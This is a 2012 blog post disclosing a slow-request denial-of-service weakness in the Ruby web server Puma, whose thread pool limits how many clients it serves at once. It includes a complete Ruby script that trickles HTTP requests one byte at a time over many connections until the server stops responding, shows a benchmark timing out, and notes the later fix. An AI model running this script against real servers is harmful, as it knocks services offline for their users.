Puma and the light [Friday, 2012-07-20]

Today after I finished wrapping up barlume I started thinking about the next steps.

At first I thought about writing a reactor with it and adding a compatibility layer to make it work like EventMachine (and it will be done), but then I thought about Puma.

Puma is a very awesome Ruby web server, I really like what it tries to achieve and by reading the homepage it seems really performant.

So I started digging around the source to see where I could improve its performances and after seeing the orror of IO.select usage (which isn’t that bad for how they use it) I noticed how it handled connections and requests.

@thread_pool = ThreadPool.new(@min_threads, @max_threads) do |client, env|
  process_client(client, env)

When it starts it creates a ThreadPool, the default minimum is 0 the default maximum is 16, after reading more of it, specifically that process_client function I realized something else: it can only handle maximum threads clients at a time.

What are the consequences of this sad realization? The consequences are that this simple script makes puma completely unresponsive:

#! /usr/bin/env ruby
# encoding: utf-8
require 'socket'
require 'barlume'
require 'optparse'

options = {}

OptionParser.new do |o|
  options[:host]    = 'localhost'
  options[:port]    = 9292
  options[:threads] = 16
  options[:content] = "GET / HTTP/1.1\r\nHost: localhost\r\n\r\n"
  options[:sleep]    = 1

  o.on '-h', '--host host', 'the host of the server' do |value|
    options[:host] = value

  o.on '-p', '--port port', Integer, 'the port of the server' do |value|
    options[:port] = value

  o.on '-t', '--threads [MAX_THREADS]', Integer,
       'the max amount of threads on the server' do |value|
    options[:threads] = value

  o.on '-c', '--content CONTENT', 'the string to send' do |value|
    options[:content] = value

  o.on '-s', '--sleep SECONDS', Float,
       'the time to sleep before sending every character' do |value|
    options[:sleep] = value

class Slowpoke < Barlume::Lucciola
  def initialize (socket, message)

    @message = message
    @offset  = 0

  def send_next
    return if done?

    write_nonblock @message[@offset]

    @offset += 1
  rescue Errno::EAGAIN, Errno::EWOULDBLOCK

  def done?
    @offset >= @message.length

lantern = Barlume::Lanterna.best

options[:threads].times {
  lantern << Slowpoke.new(TCPSocket.new(
    options[:host], options[:port]), options[:content])

puts "oh noes, a wall on my path D:"

until lantern.all?(&:done?)
  lantern.writable.each {|s|

  sleep options[:sleep]

puts "oh, there's a door ( ・ ◡◡・)"

I ran that script on a simple sinatra application and prepared to run ab to see how it handled everything, this was the result:

Benchmarking (be patient)...apr_poll: The timeout specified has expired (70007)

It dies.

When the slowpokes are done everything restarts working properly.

So, what’s next about all of this? I’ll try to write a patch to make it use barlume and keep it as concurrent as before.

In the meantime I’d suggest to not use it in production or at least with other external measures to avoid that kind of attack.

EDIT: it has been fixed with 6777c77.